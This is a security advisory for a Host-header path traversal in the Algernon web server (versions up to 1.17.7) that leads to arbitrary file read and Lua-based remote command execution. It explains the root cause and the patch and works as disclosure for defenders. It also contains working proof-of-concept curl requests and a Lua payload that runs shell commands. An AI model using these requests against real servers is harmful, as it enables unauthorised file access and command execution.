high · 8.2CVE-2026-48126Jun 26, 2026

CVE-2026-48126: Algernon Host Header Path Traversal to Arbitrary File Read and Lua RCE

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A missing validation on the HTTP Host header in Algernon's domain mode lets any unauthenticated attacker read files outside the web root and, in common configurations, execute shell commands on the se

Packagegithub.com/xyproto/algernon
Ecosystemgo
Affected<= 1.17.7
Fixed in1.17.8
CVE-2026-48126: Algernon Host Header Path Traversal to Arbitrary File Read and Lua RCE

The problem

When Algernon runs with `--domain` (or `--letsencrypt`, which silently enables `--domain`), the request handler builds the serve directory by calling `filepath.Join(servedir, utils.GetDomain(req))`. `GetDomain` returns the raw `Host` header value with no sanitisation.

Sending `Host: ..` causes `filepath.Join` to resolve one level above the configured `--dir`. Every subsequent file and directory operation then operates on the parent. Arbitrary file read and directory listing follow immediately. If a `.lua` file exists in the parent, Algernon executes it server-side, and Lua's `run3()` calls `exec.Command("sh", "-c", command)`, giving full shell RCE as the Algernon process user.

Proof of concept

bash
# 1. Arbitrary file read (file lives in parent of --dir)
curl -H 'Host: ..' http://TARGET:7799/SECRET.txt
# -> TOP-SECRET FROM PARENT DIR

# 2. Parent directory listing
curl -H 'Host: ..' http://TARGET:7799/
# -> href="/SECRET.txt", href="/pwn.lua", href="/site/" ...

# 3. RCE via .lua file in parent directory
# (pwn.lua in parent contains: local out,_,_ = run3("id; uname -a"); for _,v in ipairs(out) do print(v) end)
curl -H 'Host: ..' http://TARGET:7799/pwn.lua
# -> uid=0(root) gid=0(root) groups=0(root)
# -> Linux host 6.6.87.2-microsoft-standard-WSL2 x86_64 GNU/Linux

The root cause is CWE-23: `filepath.Join` silently canonicalises `..` components, so joining `/srv/algernon` with `..` produces `/srv` with no error and no indication that a boundary was crossed. `URL2filename` only checks the URL path for `..`, never the dirname argument, so it cannot catch the traversal.

The patch in 1.17.8 adds an early check in `engine/handlers.go` that rejects any domain value containing `..`, `/`, or `\` before passing it to `filepath.Join`. This blocks the single-segment traversal that the HTTP layer permits (the Go HTTP parser already blocks `/` in the Host header, but not bare `..`).

The `--letsencrypt` silent-enable path (`engine/flags.go:372` sets `serverAddDomain = true`) means production HTTPS deployments are affected without operators opting in to `--domain` explicitly.

The fix

Upgrade to Algernon 1.17.8. The fix validates the domain value extracted from the Host header before using it in a filepath.Join call, returning HTTP 400 for any value containing `..`, `/`, or `\`. If upgrading immediately is not possible, avoid running Algernon with `--domain` or `--letsencrypt` and use a reverse proxy (nginx, Caddy) to handle TLS termination instead.

Reporter not attributed.

References: [1][2][3]